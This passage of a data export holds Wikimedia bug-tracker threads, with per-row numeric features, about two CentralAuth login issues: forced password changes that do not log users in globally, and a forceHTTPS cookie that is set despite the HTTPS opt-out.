*** STACKTRACE - END ***


So: probably not a deadlock, just the ssl library hanging."
56914,Login with the required password change doesn't log me in globally,"In the recent user data leaking issue, we forced users to change password on login. After password is changed, the user is logged locally (and also project-wise, eg, for other wikipedia sites) automatically, but not logged in on another project.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1380793140,1696629317.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-4yoprjxsxryoacxktvyk,task_description,resolved,True,c3,1,False,False,False,-91,True,0.0,0.0,0.0,3.0,1.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,10.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,10.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.028985507246377,0.6956521739130435,"In the recent user data leaking issue, we forced users to change password on login. After password is changed, the user is logged locally (and also project-wise, eg, for other wikipedia sites) automatically, but not logged in on another project.

--------------------------
**Version**: unspecified
**Severity**: normal"
2207569,Login with the required password change doesn't log me in globally,"Please reopen if this is still an issue, but I'm pretty sure it was fixed by AuthManager - other parts of the login stack, such as CentralAuth, now don't know whether there was a password change step.",,,1696629317,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c3,3,True,,,431,True,0.0,0.0,0.0,2.0,2.0,7.0,2.0,0.0,0.0,2.0,2.0,5.0,2.0,0.0,2.0,2.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,9.0,5.0,2.0,9.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,5.0,12.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.813953488372093,0.9302325581395349,"Please reopen if this is still an issue, but I'm pretty sure it was fixed by AuthManager - other parts of the login stack, such as CentralAuth, now don't know whether there was a password change step."
1196768,Login with the required password change doesn't log me in globally,@Piramidion: Please see and follow https://www.mediawiki.org/wiki/Manual:How_to_debug/Login_problems and report back here. Thanks!,,,1544893724,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c3,3,True,,,180,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,14.0,0.0,0.0,0.0,7.0,0.0,21.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,0.9285714285714286,SCREEN_NAME: Please see and follow URL and report back here. Thanks!
1196751,Login with the required password change doesn't log me in globally,"A user reported this recently. Apparently he's using a temporary password, as he doesn't know neither his current, nor his old passwords. It stays saved in his browser, so he's able to log into Wikipedia, but the problem is he cannot log into any other project, like Wikidata or Commons. He also says that the system randomly logs him out on Wikipedia too. Is there a way to fix this issue as per user, so that he can keep working like usual, until this entire problem is resolved?",,,1544890597,,PHID-USER-236lfjw5qszgahq5srnq,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c3,3,False,,,180,True,1.0,0.0,0.0,1.0,1.0,4.5,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,1.0,0.0,0.0,5.0,14.0,0.0,1.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,6.5,0.5,0.5,1.5,0.0,0.0,0.0,0.0,1.0,0.0,6.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,9.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.5,2.5,7.0,3.5,2.5,7.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,7.0,14.0,3.5,1.0,0.0,0.0,7.0,0.0,0.0,2.0,1.0,1.5,0.0,0.0,0.0,3.7884615384615383,0.8365384615384615,"A user reported this recently. Apparently he's using a temporary password, as he doesn't know neither his current, nor his old passwords. It stays saved in his browser, so he's able to log into Wikipedia, but the problem is he cannot log into any other project, like Wikidata or Commons. He also says that the system randomly logs him out on Wikipedia too. Is there a way to fix this issue as per user, so that he can keep working like usual, until this entire problem is resolved?"
276864,Login with the required password change doesn't log me in globally,I haven't been able to get to it yet,,,1400026541,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c3,1,True,,,-60,True,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,20.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8,0.9,I haven't been able to get to it yet
276857,Login with the required password change doesn't log me in globally,"(In reply to Chris Steipp from comment #4)
> Platform has let me schedule some password work this quarter, which this
> falls under. So March-ish is a good target.

Chris: How did reality bite, and any new approx. timeframe? :)",,,1399878048,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c3,1,True,,,-60,True,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,3.0,3.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,10.0,13.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2580645161290325,0.9032258064516129,"(In reply to Chris Steipp from comment #4)
QUOTE
QUOTE

Chris: How did reality bite, and any new approx. timeframe? :)"
276849,Login with the required password change doesn't log me in globally,"Platform has let me schedule some password work this quarter, which this falls under. So March-ish is a good target.",,,1389291226,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c3,1,True,,,-77,True,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,3.88,0.92,"Platform has let me schedule some password work this quarter, which this falls under. So March-ish is a good target."
276844,Login with the required password change doesn't log me in globally,"(In reply to comment #2 by csteipp)
> I'm planning to rework the patches we put in for this particular incident,
> which will do the full SUL2 handshake after the login finishes.

csteipp: Any vague timeframe (if this is still the plan)?",,,1389267605,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c3,1,True,,,-77,True,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,14.0,3.0,0.0,10.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,14.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1379310344827585,0.8275862068965517,"(In reply to comment #2 by csteipp)
QUOTE
QUOTE

csteipp: Any vague timeframe (if this is still the plan)?"
276840,Login with the required password change doesn't log me in globally,"I saw this last night. You're actually logged in as your SUL user (as you noted, but being logged into other wikipedia.org subdomains), but we don't do the redirect through loginwiki since the normal login hooks aren't called, so you won't be logged into the other projects.

I'm planning to rework the patches we put in for this particular incident, which will do the full SUL2 handshake after the login finishes.",,,1380820150,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.0,0.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,5.0,0.0,6.0,13.0,0.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,2.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,6.0,1.0,2.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,13.0,3.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,4.011627906976744,0.6976744186046512,"I saw this last night. You're actually logged in as your SUL user (as you noted, but being logged into other wikipedia.org subdomains), but we don't do the redirect through loginwiki since the normal login hooks aren't called, so you won't be logged into the other projects.

I'm planning to rework the patches we put in for this particular incident, which will do the full SUL2 handshake after the login finishes."
276836,Login with the required password change doesn't log me in globally,"Logins using temporary password (""Reset your password"" feature) are also affected.",,,1380793429,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c3,1,False,,,-91,True,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.5,0.875,"Logins using temporary password (""Reset your password"" feature) are also affected."
56626,forceHTTPS session cookie placed even with HTTPS opt-out set,"Forced secure connection...again...[edit]

Even though the ""always use a secure connection"" box is unchecked, I'm being redirected to https:// no matter what I do on each and every page. This is becoming bothersome. - The Bushranger One ping only 22:43, 25 September 2013 (UTC)


Which browser are you using? If Firefox, try zapping all the forceHTTPS cookies, as suggested a few weeks back. --Redrose64 (talk) 23:09, 25 September 2013 (UTC)


I'm using FF22. I tried that - but there was no forceHTTPS cookie after I logged out per the directions there. There was one that existed while I was logged in, and I deleted it while logged in - and was then able to navigate using http://...however, as soon as I signed out and back in again, I was right back stuck on https://. This is a Wikipedia issue, not a my-browser isssue, as it's force-feeding me the forceHTTPS cookie every time I log in, even though it was just fine on http:// this morning. - The Bushranger One ping only 23:25, 25 September 2013 (UTC)


I tried deleting and had similar problems - it's also force feeding me that cookie every time I log in. Why do the technical people have meddle so... and not tell us. Dpmuk (talk) 06:07, 26 September 2013 (UTC)

--------------------------
**Version**: master
**Severity**: normal",High,80.0,1380185580,1381853735.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-yk4yz7wimv556d7eqmvv,task_description,resolved,True,c3,1,True,False,True,-92,True,2.0,0.0,0.0,0.6666666666666666,0.6666666666666666,3.6666666666666665,1.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,3.0,0.6666666666666666,0.0,0.6666666666666666,0.6666666666666666,5.333333333333333,0.0,8.0,7.333333333333333,0.0,0.3333333333333333,0.0,1.0,0.0,4.666666666666667,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,4.666666666666667,0.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,9.666666666666666,1.3333333333333333,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,1.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,3.6666666666666665,14.333333333333334,2.0,2.3333333333333335,7.666666666666667,0.0,0.0,0.0,0.0,1.0,0.0,5.333333333333333,0.0,7.0,7.333333333333333,6.333333333333333,0.3333333333333333,0.6666666666666666,0.0,7.0,0.0,1.3333333333333333,1.3333333333333333,1.0,2.6666666666666665,0.0,0.0,0.6666666666666666,3.698501461988304,0.695577485380117,"Forced secure connection...again...[edit]

Even though the ""always use a secure connection"" box is unchecked, I'm being redirected to https:// no matter what I do on each and every page. This is becoming bothersome. - The Bushranger One ping only 22:43, 25 September 2013 (UTC)


Which browser are you using? If Firefox, try zapping all the forceHTTPS cookies, as suggested a few weeks back. --Redrose64 (talk) 23:09, 25 September 2013 (UTC)


I'm using FF22. I tried that - but there was no forceHTTPS cookie after I logged out per the directions there. There was one that existed while I was logged in, and I deleted it while logged in - and was then able to navigate using URL as soon as I signed out and back in again, I was right back stuck on URL This is a Wikipedia issue, not a my-browser isssue, as it's force-feeding me the forceHTTPS cookie every time I log in, even though it was just fine on http:// this morning. - The Bushranger One ping only 23:25, 25 September 2013 (UTC)


I tried deleting and had similar problems - it's also force feeding me that cookie every time I log in. Why do the technical people have meddle so... and not tell us. Dpmuk (talk) 06:07, 26 September 2013 (UTC)

--------------------------
**Version**: master
**Severity**: normal"
260243,forceHTTPS session cookie placed even with HTTPS opt-out set,"**salisria** wrote:

I have managed to reproduce it and this time noticed the trigger.  Using Google Translate on a Wikipedia page.  I have filed a new bug, Bug 55887.",,,1382118210,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c3,1,False,,,-89,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,17.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,7.0,5.0,10.0,0.0,0.0,0.0,7.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,3.4146341463414633,0.7804878048780488,"**salisria** wrote:

I have managed to reproduce it and this time noticed the trigger.  Using Google Translate on a Wikipedia page.  I have filed a new bug, Bug 55887."
260238,forceHTTPS session cookie placed even with HTTPS opt-out set,Confirmed fixed in a Chrome private browser session with HTTPS disabled.,,,1381943703,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c3,1,True,,,-90,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,25.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,5.166666666666667,1.0,Confirmed fixed in a Chrome private browser session with HTTPS disabled.
260233,forceHTTPS session cookie placed even with HTTPS opt-out set,"If you can reproduce this now that you've logged out and logged back in, please file a new bug with specific instructions on reproducing.",,,1381853735,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c3,1,True,,,-90,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,7.0,4.0,7.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,7.0,22.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.222222222222222,0.9259259259259259,"If you can reproduce this now that you've logged out and logged back in, please file a new bug with specific instructions on reproducing."
260226,forceHTTPS session cookie placed even with HTTPS opt-out set,"**salisria** wrote:

Okay, just tried one more thing.  Clearing the cookies, logging out, and logging back in.  That worked.  But still, I should not have ever gotten into the state I was in of it forcing me into HTTPS, so something is still wonky, even if intermittently so.",,,1381705099,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c3,1,False,,,-90,True,0.0,1.0,0.0,0.0,1.0,3.0,3.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,12.0,1.0,0.0,1.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,3.0,3.0,10.0,1.0,4.0,4.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,6.0,12.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,6.0,1.0,0.0,0.0,3.417910447761194,0.7014925373134329,"**salisria** wrote:

Okay, just tried one more thing.  Clearing the cookies, logging out, and logging back in.  That worked.  But still, I should not have ever gotten into the state I was in of it forcing me into HTTPS, so something is still wonky, even if intermittently so."
260222,forceHTTPS session cookie placed even with HTTPS opt-out set,"**salisria** wrote:

Just realized something.  One of the cookies was ""wikipedia.org"".   If I remember correctly, then before there were separate cookies for en.wikipedia.org, fr.wikipedia.org, etc.  Did someone do an optimization to use only one cookie per domain and then forget to give us the ability to opt out  since there are no preferences users can set on ""wikipedia.org"", just on the individual sites?",,,1381703793,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c3,1,False,,,-90,True,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,2.0,0.0,7.0,14.0,2.0,4.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,4.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,6.0,2.0,1.0,6.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,14.0,4.0,1.0,5.0,0.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,5.0,4.105882352941176,0.7411764705882353,"**salisria** wrote:

Just realized something.  One of the cookies was ""wikipedia.org"".   If I remember correctly, then before there were separate cookies for en.wikipedia.org, fr.wikipedia.org, etc.  Did someone do an optimization to use only one cookie per domain and then forget to give us the ability to opt out  since there are no preferences users can set on ""wikipedia.org"", just on the individual sites?"
260216,forceHTTPS session cookie placed even with HTTPS opt-out set,"**salisria** wrote:

I'm getting forced into using HTTPS again today, so I'm reopening this bug.  Not only that, but clearing the cookies doesn't help.  If do that, then I get the popup message:
Central login
You are centrally logged in as XXXXXXX. Reload the page to apply your user settings.

And 15 different new HTTPS cookies added:
commons, incubator, login, mediawiki, meta, species, wikibooks, wikidata, wikinews, wikipedia, wikiquote, wikisource, wikiversity, wikivoyage, and wiktionary.

I am using Firefox 24.0.",,,1381702355,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c3,1,False,,,-90,True,0.0,0.0,0.0,0.5,1.0,4.0,0.0,0.0,0.0,0.5,1.0,1.5,0.0,0.5,0.0,2.5,0.0,3.5,3.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,16.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.5,9.0,0.5,2.0,3.5,0.0,0.0,0.0,0.0,2.0,0.0,1.5,0.0,3.5,3.0,5.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.7850282485875706,0.7392655367231639,"**salisria** wrote:

I'm getting forced into using HTTPS again today, so I'm reopening this bug.  Not only that, but clearing the cookies doesn't help.  If do that, then I get the popup message:
Central login
You are centrally logged in as XXXXXXX. Reload the page to apply your user settings.

And 15 different new HTTPS cookies added:
commons, incubator, login, mediawiki, meta, species, wikibooks, wikidata, wikinews, wikipedia, wikiquote, wikisource, wikiversity, wikivoyage, and wiktionary.

I am using Firefox 24.0."
260209,forceHTTPS session cookie placed even with HTTPS opt-out set,"Thanks for checking, Brad.",,,1381426328,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c3,1,True,,,-90,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,1.0,"Thanks for checking, Brad."
260205,forceHTTPS session cookie placed even with HTTPS opt-out set,"I don't know why it's not on that release notes page, but I just checked on tin and it is included in the version of CentralAuth in /a/common/php-1.22wmf20/extensions/CentralAuth.",,,1381422212,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c3,1,True,,,-90,True,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,5.0,0.0,10.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,10.0,2.0,5.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,12.0,5.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,0.8,"I don't know why it's not on that release notes page, but I just checked on tin and it is included in the version of CentralAuth in /a/common/php-1.22wmf20/extensions/CentralAuth."
260199,forceHTTPS session cookie placed even with HTTPS opt-out set,Is this in fact in wmf20? I don't see it in the release notes in https://www.mediawiki.org/wiki/MediaWiki_1.22/wmf20,,,1381391926,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c3,1,True,,,-90,True,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,22.0,6.0,0.0,0.0,0.0,6.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,17.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,22.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9444444444444446,0.8333333333333334,Is this in fact in wmf20? I don't see it in the release notes in URL
260193,forceHTTPS session cookie placed even with HTTPS opt-out set,%%%*** Bug 55368 has been marked as a duplicate of this bug. ***%%%,,,1381072702,,PHID-USER-jfiw563ca4r5mxfkj4vx,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c3,1,False,,,-91,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.2916666666666665,0.5833333333333334,%%%*** Bug 55368 has been marked as a duplicate of this bug. ***%%%
260189,forceHTTPS session cookie placed even with HTTPS opt-out set,"Marking this fixed, since the patch is merged. It looks like this just missed being included in 1.22wmf19, so it should go out to WMF wikis with 1.22wmf20. See https://www.mediawiki.org/wiki/MediaWiki_1.22/Roadmap for the schedule.

